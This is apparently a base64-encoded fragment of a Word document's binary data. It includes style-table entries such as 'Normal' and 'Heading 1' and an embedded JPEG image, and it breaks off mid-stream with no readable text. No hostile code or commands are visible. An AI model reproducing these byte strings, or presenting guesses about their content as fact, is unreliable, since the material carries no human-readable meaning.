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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAhgIbABIAAQCcAA8ABAAHAAcABwAAAAQACAAAAJgAAACYAAAAngAAAJ4A AACeAAAAngAAAJ4AAACeAAAAngAAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYA AHYCAAB2AgAAdgIAAHYCAAB2AgAAdgIAAHYCAAB2AgAAdgIAADYGAAA2BgAANgYAADYGAAA2BgAA NgYAAD4CAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2 BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYG AACoAAAANgYAADYGAAAWAAAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAC4AAAANgYA ADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAACAAAAAgAAAA2BgAA NgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2 BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYG AAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYA ADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAA NgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAALADAAA2BgAASgAAQPH/AgBKAAwQAAAkJT8AAAAG AE4AbwByAG0AYQBsAAAADAAAABJkFAEBABSkyAAYAENKFgBfSAEEYUoWAG1ICQRzSAkEdEgJBGgA AUABAAIAaAAMFBkAcnKlAJAACQBIAGUAYQBkAGkAbgBnACAAMQAAABMAAQAFJAEGJAETpOABFKQA AEAmAAAnADUIgUIqB0NKHABPSggAUEoAAFFKCABcCIFeSgAAYUocAHBoNl+RAABoAAJAAQACAGgA DBQaAHJypQCQAAkASABlAGEAZABpAG4AZwAgADIAAAATAAIABSQBBiQBE6TIABSkAABAJgEAJwA1 CIFCKgdDShoAT0oIAFBKAABRSggAXAiBXkoAAGFKGgBwaE+BvQAAAAAAAAAAAAAAAAAAAABEAEFA 8v+hAEQADA0AAAAAAAAQABYARABlAGYAYQB1AGwAdAAgAFAAYQByAGEAZwByAGEAcABoACAARgBv AG4AdAAAAAAAUgBpQPP/swBSAAwdAAAAAAAAMAYMAFQAYQBiAGwAZQAgAE4AbwByAG0AYQBsAAAA HAAX9gMAADTWBgABCgNsADTWBgABBQMAAGH2AwAAAgALAAAAKABrAPT/wQAoAAANAAAAAAAAMAYH AE4AbwAgAEwAaQBzAHQAAAACAAwAAAAAAFIAmQABAPIAUgAMCRAAg01YADAGDABCAGEAbABsAG8A bwBuACAAVABlAHgAdAAAAAwADwASZPAAAQAUpAAAFABDShAAT0oGAFFKBgBeSgYAYUoQAEIA/g+i AAEBQgAMAQ8Ag01YADAGCwAgAEMAaABhAHIAIABDAGgAYQByADIAAAAUAENKEABPSgYAUUoGAF5K BgBhShAANgBVQKIAEQE2AAwIAACDTVgAMAYJAEgAeQBwAGUAcgBsAGkAbgBrAAAADAA+KgFCKgJw aAAA/wA+AB9AAQAiAT4ADAkTAOYoHAAwBgYASABlAGEAZABlAHIAAAAXABIAEmTwAAEAFKQAABXG CAACSBKQJAECAAAALgD+D6IAMQEuAAwBEgDmKBwAMAYLACAAQwBoAGEAcgAgAEMAaABhAHIAMQAA AAAAPgAgAAEAQgE+AAwJFQDmKBwAMAYGAEYAbwBvAHQAZQByAAAAFwAUABJk8AABABSkAAAVxggA AkgSkCQBAgAAACwA/g+iAFEBLAAMARQA5igcADAGCgAgAEMAaABhAHIAIABDAGgAYQByAAAAAAAu AFhAogBhAS4ADBAAAGpN/gAAAAgARQBtAHAAaABhAHMAaQBzAAAABgA2CIFdCIEqAFdAogBxASoA DBAAAGpN/gAAAAYAUwB0AHIAbwBuAGcAAAAGADUIgVwIgUgA/k/x/4IBSAAMFAAAcnKlABAACgBO AG8AIABTAHAAYQBjAGkAbgBnAAAAAgAYABgAQ0oWAF9IAQRhShYAbUgJBHNICQR0SAkEVgD+T6IA kQFWAAwAAQBycqUAkAALACAAQwBoAGEAcgAgAEMAaABhAHIANAAAACcANQgBQioHQ0ocAE9KCABQ SgAAUUoIAFwIAV5KAABhShwAcGg2X5EAAFYA/k+iAKEBVgAMAAIAcnKlAJAACwAgAEMAaABhAHIA IABDAGgAYQByADMAAAAnADUIAUIqB0NKGgBPSggAUEoAAFFKCABcCAFeSgAAYUoaAHBoT4G9AAAA AAAA2RYAAAQAAGIAAAAA/////wAAAAAVAAAA0AAAANEAAADUAAAAEgEAALUBAAC2AQAA0AEAAO0B AAAGAgAAEwIAABUCAAAWAgAAFwIAABgCAAAZAgAAGgIAABsCAAAdAgAAHgIAAHQCAAB1AgAAdgIA AHgCAAB5AgAAewIAAHwCAAB9AgAAfgIAAH8CAACAAgAAgQIAAIICAACQAgAAkQIAAGcEAABoBAAA kQYAAJIGAAAwCAAAMggAAGYJAADBCQAAwgkAAAELAAAECwAAPgsAAFgLAAB4CwAAkwsAAJQLAACf DAAAogwAALUNAAC2DQAAwg0AAMMNAADRDQAA6g0AAA0OAAAODgAADw4AABAOAAARDgAAEw4AABoO AAAbDgAAHQ4AAB4OAAAfDgAAMg4AAGYOAABoDgAAqA4AAO0OAAAuDwAALw8AAD0PAAA/DwAAVw8A ABgQAAAZEAAANxAAAJsQAACcEAAAnRAAAJ8QAAD4EQAA+REAAPoRAACPEgAA+xIAAP0SAAD+EgAA /xIAAAETAAACEwAAAxMAAAQTAAAFEwAAIhMAACMTAAAkEwAAJRMAACoTAAAsEwAALRMAAC8TAAAw EwAAMRMAADITAAAzEwAAOxMAADwTAAA9EwAAPxMAAEATAABBEwAAQhMAAEMTAABPEwAAUBMAAFET AABTEwAAVBMAAFUTAABWEwAAVxMAAFsTAABcEwAAXRMAAF8TAABgEwAAYRMAAGITAABjEwAAZxMA AGgTAABpEwAAaxMAAGwTAABtEwAAbhMAAG8TAAB1EwAAdhMAAHcTAAB5EwAAehMAAHsTAAB8EwAA fRMAAIgTAACJEwAAihMAAIwTAACOEwAAjxMAAJATAACREwAAmRMAAJoTAACbEwAAnRMAAJ4TAACf EwAAoBMAAKETAACvEwAAsBMAALETAACzEwAAtBMAALUTAAC2EwAAtxMAAMITAADDEwAAxBMAAMYT AADHEwAAyBMAAMkTAADKEwAA2RMAANoTAADbEwAA3RMAAN4TAADfEwAA4BMAAOETAABCFAAAQxQA AMIWAADEFgAAxRYAAMcWAADIFgAAyhYAAMsWAADNFgAAzhYAANAWAADRFgAA0xYAANQWAADWFgAA 1xYAANoWAACYAAAAADAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAmAAAAAAwAAAAAAAAAIAAAACAAAAA AAAAAAAAAJgAAAAAMAAAAAAAAACAAAAAgAAAAAAAAAAAAACYAAAAADAAAAAAAAAAgAAAAIAAAAAA AAAAAAAAmAAAAAAwAAAAAAAAAIAAAACAAAAAAAAAAAAAAJgAAAAAMAAAAAAAAACAAAAAgAAAAAAA AAAAAACYAAAAADAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAmAAAAAAwAAAAAAAAAIAAAACAAAAAAAAA AAAAAJgAAAAAMAAAAAAAAACAAAAAgAAAAAAAAAAAAACYAAAAADAAAAAAAAAAgAAAAIAAAAAAAAAA AAAAmAAAAAAwAAAAAAAAAIAAAACAAAAAAAAAAAAAAJgAAAAAMAAAAAAAAACAAAAAgAAAAAAAAAAA AACYAAAAADAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAmAAAAAAwAAAAAAAAAIAAAACAAAAAAAAAAAAA AJgAAAAAMAAAAAAAAACAAAAAgAAAAAAAAAAAAACYAAAAADAAAAAAAAAAgAAAAIAAAAAAAAAAAAAA mAAAAAAwAAAAAAAAAIAAAACAAAAAAAAAAAAAAJgAAAAAMAAAAAAAAACAAAAAgAAAAAAAAAAAAACY AAAAADAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAmAAAAAAwAAAAAAAAAIAAAACAAAAAAAAAAAAAAJgA AAAAMAAAAAAAAACAAAAAgAAAAAAAAAAAAACYAAAAADAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAmAAA AAAwAAAAAAAAAIAAAACAAAAAAAAAAAAAAJgAAAAAMAAAAAAAAACAAAAAgAAAAAAAAAAAAACYAAAA ADAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAmAAAAAAwAAAAAAAAAIAAAACAAAAAAAAAAAAAAJgAAAAA MAAAAAAAAACAAAAAgAAAAAAAAAAAAACYAAAAADAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAmAAAAAAw AAAAAAAAAIAAAACAAAAAAAAAAAAAAJgAAAAYMAAAAAAAAACAAAAAgAAAAAAAAAAAAACYAAAAGDAA AAAAAAAAgAAAAIAAAAAAAAAAAAAAmAAAABgwAAAAAAAAAIAAAACAAAAAAAAAAAAAAJgAAAAYMAAA AAAAAACAAAAAgAAAAAAAAAAAAACYAAAAGDAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAmAAAABgwAAAA AAAAAIAAAACAAAAAAAAAAAAAAJgAAAAYMAAAAAAAAACAAAAAgAAAAAAAAAAAAACYAAAAGDAAAAAA AAAAgAAAAIAAAAAAAAAAAAAAmAAAABgwAAAAAAAAAIAAAACAAAAAAAAAAAAAAJgAAAAYMAAAAAAA AACAAAAAgAAAAAAAAAAAAACYAAAAGDAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAmAAAABgwAAAAAAAA AIAAAACAAAAAAAAAAAAAAJgAAAAYMAAAAAAAAACAAAAAgAAAAAAAAAAAAACYAAAAGDAAAAAAAAAA gAAAAIAAAAAAAAAAAAAAmAAAABgwAAAAAAAAAIAAAACAAAAAAAAAAAAAAJgAAAAYMAAAAAAAAACA AAAAgAAAAAAAAAAAAACYAAAAGDAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAmAAAABgwAAAAAAAAAIAA AACAAAAAAAAAAAAAAJgAAAAYMAAAAAAAAACAAAAAgAAAAAAAAAAAAACYAAAAGDAAAAAAAAAAgAAA AIAAAAAAAAAAAAAAmAAAABgwAAAAAAAAAIAAAACAAAAAAAAAAAAAAJgAAAAYMAAAAAAAAACAAAAA gAAAAAAAAAAAAACYAAAAGDAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAmAAAABgwAAAAAAAAAIAAAACA AAAAAAAAAAAAAJgAAAAYMAAAAAAAAACAAAAAgAAAAAAAAAAAAACYAAAAGDAAAAAAAAAAgAAAAIAA AAAAAAAAAAAAmAAAABgwAAAAAAAAAIAAAACAAAAAAAAAAAAAAJgAAAAYMAAAAAAAAACAAAAAgAAA AAAAAAAAAACYAAAAGDAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAmAAAAAAwAAAAAAAAAIAAAACAAAAA AAAAAAAAAJgAAAAAMAAAAAAAAACAAAAAgAAAAAAAAAAAAACYAAAAADAAAAAAAAAAgAAAAIAAAAAA AAAAAAAAmAAAAAAwAAAAAAAAAIAAAACAAAAAAAAAAAAAAJgAAAAAMAAAAAAAAACAAAAAgAAAAAAA AAAAAACYAAAAADAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAmAAAAAAwAAAAAAAAAIAAAACAAAAAAAAA AAAAAJgAAAAAMAAAAAAAAACAAAAAgAAAAAAAAAAAAACYAAAAADAAAAAAAAAAgAAAAIAAAAAAAAAA AAAAmAAAAAAwAAAAAAAAAIAAAACAAAAAAAAAAAAAAJgAAAAAMAAAAAAAAACAAAAAgAAAAAAAAAAA AACYAAAAADAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAmAAAAAAwAAAAAAAAAIAAAACAAAAAAAAAAAAA AJgAAAAAMAAAAAAAAACAAAAAgAAAAAAAAAAAAACYAAAAADAAAAAAAAAAgAAAAIAAAAAAAAAAAAAA mAAAAAAwAAAAAAAAAIAAAACAAAAAAAAAAAAAAJgAAAAAMAAAAAAAAACAAAAAgAAAAAAAAAAAAACY AAAAADAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAmAAAAAAwAAAAAAAAAIAAAACAAAAAAAAAAAAAAJgA AAAAMAAAAAAAAACAAAAAgAAAAAAAAAAAAACYAAAAADAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAmAAA AAAwAAAAAAAAAIAAAACAAAAAAAAAAAAAAJgAAAAYMAAAAAAAAACAAAAAgAAAAAAAAAAAAACYAAAA GDAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAmAAAABgwAAAAAAAAAIAAAACAAAAAAAAAAAAAAJgAAAAY MAAAAAAAAACAAAAAgAAAAAAAAAAAAACYAAAAGDAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAmAAAABgw AAAAAAAAAIAAAACAAAAAAAAAAAAAAJgAAAAYMAAAAAAAAACAAAAAgAAAAAAAAAAAAACYAAAAADAA AAAAAAAAgAAAAIAAAAAAAAAAAAAAmAAAABgwAAAAAAAAAIAAAACAAAAAAAAAAAAAAJgAAAAYMAAA AAAAAACAAAAAgAAAAAAAAAAAAACYAAAAGDAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAmAAAABgwAAAA AAAAAIAAAACAAAAAAAAAAAAAAJgAAAAYMAAAAAAAAACAAAAAgAAAAAAAAAAAAACYAAAAADAAAAAA AAAAgAAAAIAAAAAAAAAAAAAAmAAAAAAwAAAAAAAAAIAAAACAAAAAAAAAAAAAAJgAAAAAMAAAAAAA AACAAAAAgAAAAAAAAAAAAACYAAAAADAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAmAAAAAAwAAAAAAAA AIAAAACAAAAAAAAAAAAAAJgAAAAAMAAAAAAAAACAAAAAgAAAAAAAAAAAAACYAAAAADAAAAAAAAAA gAAAAIAAAAAAAAAAAAAAmAAAAAAwAAAAAAAAAIAAAACAAAAAAAAAAAAAAJgAAAAAMAAAAAAAAACA AAAAgAAAAAAAAAAAAACYAAAAADAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAqQAAABgwAAAAAAAAAIAA AACAAQAAeAAAAAAAAKkAAAAYMAAAAAAAAACAAAAAgAEAAHgAAAAAAACpAAAAGDAAAAAAAAAAgAAA AIABAAB4AAAAACAAqQAAABgwAAAAAAAAAIAAAACAAQAAeAAAAAAAAKkAAAAYMAAAAAAAAACAAAAA gAEAAHgAAAAAIACpAAAAGDAAAAAAAAAAgAAAAIABAAB4AAAAAAAAqQAAABgwAAAAAAAAAIAAAACA AQAAeAAAAAAgAJkAAAAAMAAAAAAAAACAAAAAgAEAAHwAAAAAIACpAAAAGDAAAAAAAAAAgAAAAIAB AADQAAAAAAAAqQAAABgwAAAAAAAAAIAAAACAAQAA0AAAAAAAAKkAAAAYMAAAAAAAAACAAAAAgAEA ANAAAAAAIACpAAAAGDAAAAAAAAAAgAAAAIABAADQAAAAAAAAqQAAABgwAAAAAAAAAIAAAACAAQAA 0AAAAAAgAKkAAAAYMAAAAAAAAACAAAAAgAEAANAAAAAAAACpAAAAGDAAAAAAAAAAgAAAAIABAADQ 